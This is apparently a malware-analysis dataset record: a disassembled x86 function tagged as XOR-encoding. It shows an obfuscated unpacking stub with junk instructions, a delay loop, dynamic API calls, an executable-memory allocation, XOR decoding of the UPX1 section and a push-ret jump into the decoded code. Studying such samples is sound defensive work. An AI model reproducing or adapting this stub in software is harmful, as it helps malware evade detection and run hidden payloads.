Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbaaeafae
add ebx, 0x1461d095
add esi, 0xb529b4b3
popal
add esi, ebx
add ebx, ebx
mov ecx, 0
mov esi, edi
and edx, ebx
add ebx, 1
mov ebx, 0x31b68db
mov eax, esi
mov ebx, edx
sub edx, ebx
mov edi, eax
add ebx, 0xad5a6cf9
not ebx
inc ecx
or ebx, edx
sub ebx, edx
cmp ecx, 0x100d880
jne 0xa789c8
dec ebx
inc ebx
not ebx
and ebx, esi
mov ebx, esi
add esi, 0x9c9fd089
mov ebx, 0xa78796
add esi, 1
not edx
sub esi, 0xcd7834a2
mov edi, 0xa7898a
sub edx, eax
mov esi, 0x177cf160
or eax, edx
mov ecx, dword [ebx]
and esi, esi
sub esi, 0x330097f5
and ecx, 0xff
and esi, eax
mov edx, 0xf6215b2f
xor dword [edi], ecx
or esi, edx
sub edx, esi
dec esi
add edi, 1
sub edx, 0x2698adfe
dec esi
add edx, eax
inc ebx
dec eax
mov esi, 0x497f97c3
cmp edi, entry0
jl 0xa78a27
sub edx, esi
mov edx, 0x5f3957c6
sub edx, 1
sub esi, 0xda6e9405
mov esi, eax
inc ecx
mov edi, edx
mov esi, 0xa7898e
sub edi, edx
sub ecx, 0xf6196c96
sub edx, ecx
mov esi, dword [esi]
sub ecx, ebx
inc ecx
not edx
mov esi, dword [esi]
add ebx, ecx
sub ebx, 0xaa8264e8
mov ebx, 0x1e9d49c7
sub esp, 4
mov dword [esp], esi
or ecx, ebx
dec ecx
add edx, 0xb2b136b8
mov esi, 0xa7898a
not ebx
sub ebx, 1
dec ebx
mov esi, dword [esi]
add ebx, 0x644debd2
or edi, ecx
add ecx, 0xfee03ca4
mov esi, dword [esi]
add ecx, ebx
or ebx, ebx
push 0xa78992
and ecx, edi
add ecx, edx
add edx, ebx
call esi
add ecx, edx
sub ecx, 0x2e7eec6a
add ecx, ebx
pop esi
add edi, ebx
add edx, ecx
push 0xa7899f
or ecx, ecx
add ebx, 0x24601ca6
or ebx, ebx
push eax
mov edx, 0xf1a547cc
not ebx
mov edi, ecx
call esi
add ecx, ecx
not edi
inc ecx
sub esp, 4
mov dword [esp], 0x40
or edi, ebx
dec edx
not edx
push 0x3000
inc edx
or edi, ecx
push 0x20000216
add ebx, 1
mov ecx, edx
and edx, ecx
push 0
sub ebx, 1
add ecx, ecx
not edx
call eax
dec edi
sub ecx, edx
add eax, 0x2000018a
dec edx
or edx, edx
add edi, ebx
mov esi, 0xff0f651e
not edx
not ebx
dec edx
mov dword [eax], esi
sub edx, 0xd7a384ac
and edx, edi
mov esi, dword [eax]
sub ebx, 0xf990469d
mov ebx, 0x4d6859ee
add edi, edx
cmp esi, 0xff0f651e
je 0xa78b8a
mov edx, 0
mov cl, byte [edx]
and ebx, edi
and ecx, edx
not edi
add edx, 0xd04d171e
or edx, edi
sub esi, 0x8b1d5266
sub ebx, esi
not esi
mov ecx, section.UPX1
and esi, ebx
and esi, ebx
or esi, ebx
mov edi, 0xa78795
add esi, esi
sub ebx, 0xc7c53c38
mov edx, 0
sub ebx, 0x4b83c8f1
not esi
mov eax, 0xa78796
add ebx, 0x8d044469
and esi, esi
add esi, 0xa454c4bb
lea eax, [edx + eax]
sub ebx, 1
mov ebx, esi
inc esi
mov eax, dword [eax]
sub esi, 1
mov ebx, esi
and eax, 0xff
add esi, 1
add ebx, 0xd560eb66
not ebx
inc edx
and ebx, esi
and esi, esi
cmp edx, 0x1f4
jne 0xa78c16
mov edx, 0
sub ebx, 0x7a761345
sub ebx, esi
sub ebx, 1
mov esi, ebx
xor dword [ecx], eax
not esi
inc esi
sub esi, 0xbf71d528
add ecx, 2
sub esi, 0x23b70c41
mov ebx, esi
cmp ecx, edi
jl 0xa78bc7
mov ebx, esi
mov esi, 0xb290b48a
mov ebx, 0x202a279a
dec ebx
mov edi, section.UPX1
sub ecx, 0x88d2d678
mov edx, 0x7a46493b
mov edx, 0x8af4e2ab
mov esi, section.UPX1
add ecx, edx
not ecx
not ecx
mov ebx, 0xa78795
sub ecx, edx
inc edx
mov eax, 0
add ecx, edx
add edx, 1
or ecx, ecx
mov al, byte [esi]
sub edx, 1
mov ecx, edx
mov byte [edi], al
and ecx, ecx
add edx, 1
add edi, 1
add ecx, 0x3fe4ff05
sub ecx, edx
add esi, 2
and edx, edx
or ecx, edx
cmp esi, ebx
jle 0xa78c8b
dec edx
sub edx, ecx
sub edx, ecx
add ebx, 0x11348c11
and esi, ebx
and ebx, esi
push 0x8dc6a0
mov esi, 0xa79ce560
sub esi, ebx
mov ebx, esi
ret